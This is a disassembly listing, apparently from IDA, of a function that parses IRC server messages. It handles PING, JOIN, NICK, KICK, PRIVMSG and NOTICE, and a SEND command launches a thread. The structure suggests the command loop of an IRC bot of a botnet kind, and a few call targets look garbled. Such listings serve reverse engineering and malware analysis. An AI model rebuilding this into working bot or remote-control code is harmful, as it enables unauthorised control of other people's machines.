var_2AC0	= dword	ptr -2AC0h
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AAC	= byte ptr -2AACh
var_2994	= byte ptr -2994h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= byte ptr -28FCh
var_287C	= byte ptr -287Ch
var_277C	= byte ptr -277Ch
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= byte ptr -2654h
var_25D4	= byte ptr -25D4h
var_24D4	= byte ptr -24D4h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= byte ptr -23ACh
var_232C	= byte ptr -232Ch
var_22AC	= byte ptr -22ACh
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= byte ptr -2218h
var_2198	= byte ptr -2198h
var_2118	= byte ptr -2118h
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= byte ptr -2084h
var_2004	= byte ptr -2004h
var_1F84	= byte ptr -1F84h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1D70	= dword	ptr -1D70h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D4C	= byte ptr -1D4Ch
var_1D38	= byte ptr -1D38h
var_1C34	= byte ptr -1C34h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B98	= byte ptr -1B98h
var_1B84	= byte ptr -1B84h
var_1A80	= byte ptr -1A80h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= byte ptr -19E8h
var_1968	= byte ptr -1968h
var_1928	= byte ptr -1928h
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= byte ptr -180Ch
var_17D4	= byte ptr -17D4h
var_17B8	= byte ptr -17B8h
var_1780	= byte ptr -1780h
var_177C	= byte ptr -177Ch
var_16FC	= byte ptr -16FCh
var_16BC	= byte ptr -16BCh
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= byte ptr -1618h
var_1598	= byte ptr -1598h
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= byte ptr -1508h
var_14F8	= byte ptr -14F8h
var_1478	= byte ptr -1478h
var_13F8	= dword	ptr -13F8h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= byte ptr -13D8h
var_1358	= byte ptr -1358h
var_12D8	= byte ptr -12D8h
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1234	= byte ptr -1234h
var_11B4	= byte ptr -11B4h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1114	= dword	ptr -1114h
var_1110	= byte ptr -1110h
var_1090	= byte ptr -1090h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= byte ptr -0F58h
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= byte ptr -0EC4h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_E24		= byte ptr -0E24h
var_E04		= byte ptr -0E04h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D00		= byte ptr -0D00h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 568Ch
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41BF70
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F75
		push	esi
		lea	eax, [ebp+var_428C]
		push	ebx
		push	eax
		call	sub_41BF70
		dec	esi
		lea	eax, [ebp+var_428C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	offset asc_42CDC4 ; " :"
		push	eax
		call	sub_41C2E0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_428C]
		push	esi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		mov	esi, offset asc_42CDC0 ; " "
		lea	eax, [ebp+var_4EF8]
		push	esi
		push	eax
		call	sub_41CAD4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F75
		cmp	[ebp+var_8C], ebx
		jz	loc_401F75
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CDBC ; "!"
		push	eax
		call	sub_41CAD4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a005	; "005"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a302	; "302"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BFD0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40AE84
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9A
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F75
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E8D:				; CODE XREF: sub_401ACD+5F6j
					; sub_401ACD+8B9j ...
		push	[ebp+arg_4]
		call	sub_409823
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_401E9A:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FDD
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC3:				; CODE XREF: sub_401ACD+448j
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F10
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F10
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C890
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C8A0
		add	esp, 10h
		mov	edi, 80h


loc_401F10:				; CODE XREF: sub_401ACD+407j
					; sub_401ACD+41Ej
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC3
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	short loc_401F75
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F75
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F4D
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41BFD0
		jmp	loc_4036A2
; ---------------------------------------------------------------------------


loc_401F4D:				; CODE XREF: sub_401ACD+46Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F52:				; CODE XREF: sub_401ACD+4A6j
		cmp	[edi], bl
		jz	short loc_401F69
		lea	eax, [ebp+var_E04]
		push	eax
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F7D


loc_401F69:				; CODE XREF: sub_401ACD+487j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F52


loc_401F75:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401F77:				; CODE XREF: sub_401ACD+2A1Ej
		pop	eax


loc_401F78:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A40j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F7D:				; CODE XREF: sub_401ACD+49Aj
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F75
		push	eax
		call	sub_41B9C0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F75
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_45F0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_401F75
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401ACD+3DCj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FFF
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402026


loc_401FFF:				; CODE XREF: sub_401ACD+51Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402004:				; CODE XREF: sub_401ACD+557j
		cmp	[edi], bl
		jz	short loc_40201A
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402067


loc_40201A:				; CODE XREF: sub_401ACD+539j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402004


loc_402026:				; CODE XREF: sub_401ACD+530j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020C8
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40205A
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40205A:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_80]
		push	offset unk_42CCFC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_402067:				; CODE XREF: sub_401ACD+54Bj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CCDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41CA50
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F75
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4020C8:				; CODE XREF: sub_401ACD+56Dj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41CA50
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		cmp	dword_429088, ebx
		jz	loc_409644


loc_40211C:				; CODE XREF: sub_401ACD+615j
					; sub_401ACD+627j
		push	[ebp+var_8C]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_402160:				; CODE XREF: sub_401ACD+891j
					; sub_401ACD+8CDj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CCC0
		mov	[ebp+arg_8], eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40253B
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402402
		cmp	[ebp+var_A4], ebx
		jz	loc_4023DB
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B84]
		push	edi
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_1B98]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_1A00],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		lea	eax, [ebp+var_1B84]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CC84
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_19FC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	eax
		push	offset loc_416563
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_19FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40228C:				; CODE XREF: sub_401ACD+7D3j
		cmp	[ebp+var_19F0],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_40228C
; ---------------------------------------------------------------------------


loc_4022A2:				; CODE XREF: sub_401ACD+65Fj
					; sub_401ACD+675j
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022BB
		mov	[ebp+var_4], 1


loc_4022BB:				; CODE XREF: sub_401ACD+7E5j
		cmp	[ebp+var_88], ebx
		jz	loc_401F75
		push	offset dword_42CC80
		push	[ebp+var_88]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022E2
		cmp	[ebp+var_4], ebx
		jz	short loc_4022EE


loc_4022E2:				; CODE XREF: sub_401ACD+80Ej
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_4022EE:				; CODE XREF: sub_401ACD+813j
		cmp	[ebp+var_84], ebx
		jz	loc_401F75
		inc	[ebp+var_84]
		jz	short loc_40233A
		cmp	[ebp+arg_10], ebx
